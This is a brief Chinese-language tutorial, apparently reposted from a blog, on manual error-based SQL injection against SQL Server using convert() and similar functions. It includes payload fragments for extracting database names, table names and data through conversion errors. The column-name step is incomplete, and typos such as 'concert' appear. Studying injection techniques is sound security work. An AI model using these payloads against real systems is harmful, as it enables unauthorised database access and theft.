SQL server手注之报错注入

concert()函数

功能

把日期转换为新数据类型的通用函数

语法

CONVERT(date_type(length),data_to_be_convrted,style)

  • date_type(length) 规定目标数据类型
  • data_to_be_converted 含有需要转换的值
  • style 规定日期/时间的输出格式

示例

  • CONVERT(VARCHAR(19),GETDATE())
  • CONVERT(VARCHAR(10),GETDATE(),110)
  • CONVERT(VARCHAR(24),GETDATE(),106)

原理

  • 以convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后将查询结果转换为int类型
  • 但是由于SQL查询的结果是varchar型,无法进行指定的转换
  • 所以convert函数会抛出一个SQL server错误消息,指出SQL查询结果无法转换为int类型

满足条件的函数

  • convert()
  • file_name()
  • db_name()
  • col_name()
  • filegroup_name()
  • object_name()
  • schema_name()
  • type_name()
  • cast()

注入姿势~

确认好注入点后

查询基本信息

  • convert(int,da_name)

    得到当前数据库名为:text

获取当前数据库的表名

  • convert(int,(select top 1 table_name from information_schema.tables))

    得到表名为cmd

获取列名


得到列名为a,且cmd这张表中只有a这一列数据

  • cast(十六进制的表名 as varchar)

获取数据

  • convert(int,(select top 1 name a from cmd))
原文地址:https://www.cnblogs.com/ceiling-/p/14430193.html